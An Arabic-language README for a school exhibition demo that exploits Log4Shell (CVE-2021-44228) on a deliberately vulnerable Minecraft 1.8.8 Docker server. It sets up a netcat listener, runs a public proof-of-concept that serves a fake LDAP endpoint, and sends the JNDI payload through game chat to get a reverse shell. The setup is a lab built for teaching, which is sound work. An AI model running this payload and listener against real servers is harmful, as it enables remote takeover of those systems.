
Log4Shell (CVE-2021-44228) عرض توضيحي لماينكرافت. يُستخدم للمعارض التعليمية.
يُستخدم هذا العرض في المعارض التعليمية لمنح الطلاب المحتملين فكرة عن قسم الأمن السيبراني في HTL Villach وكيف يمكن استغلال التطبيقات اليومية
ملاحظة: يعتمد هذا العرض بالكامل على إصدار Minecraft 1.8.8
يستخدم المهاجم في هذا السيناريو إثبات المفهوم (PoC) من kozmer. https://github.com/kozmer/log4j-shell-poc جميع الحقوق تعود لهم. ملاحظة: يجب تنفيذ جميع الأوامر داخل المجلد attacker/
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20، وأن يكون في نفس الدليل.$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
يقوم هذا السكريبت بإعداد خادم HTTP وخادم LDAP لك، كما يقوم بإنشاء الحمولة التي يمكنك استخدامها للصقها في المعامل الضعيف. بعد ذلك، إذا سارت الأمور بشكل جيد، ستحصل على صدفة على المنفذ lport.
في مثيل الضحية نستخدم إصدار JDK قديم وبالتالي ضعيف (jdk1.8.0_20).
لتشغيل خادم Minecraft لدينا، علينا بناء صورة Docker الخاصة بنا وتشغيلها.
ملاحظة: لبناء ناجح، تحتاج الحصول على نسختك الخاصة من خادم Minecraft Vanilla 1.8.8 (لا يمكن مشاركتها بسبب اتفاقية ترخيص Mojang) قد يكون المصدر المحتمل MCVERSIONS.NET
بعد الحصول على الملف، احفظه في victim/ باسم server.jar
cd target/
docker build target/ -t minecraft-demo
قم بتشغيل خادم Minecraft الضعيف الذي بنيناه للتو باستخدام docker
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
من المحتمل أن يتجمد الحاوية أو يتوقف بعد الاستغلال. في هذه الحالة يمكنك قتله باستخدام الأمر التالي:
docker kill vulnerable-server
لاستغلال الثغرة، ما عليك سوى إرسال السلسلة التي يوفرها poc.py في دردشة اللعبة.
${jndi:ldap://<ip of docker-host>:1389/a}
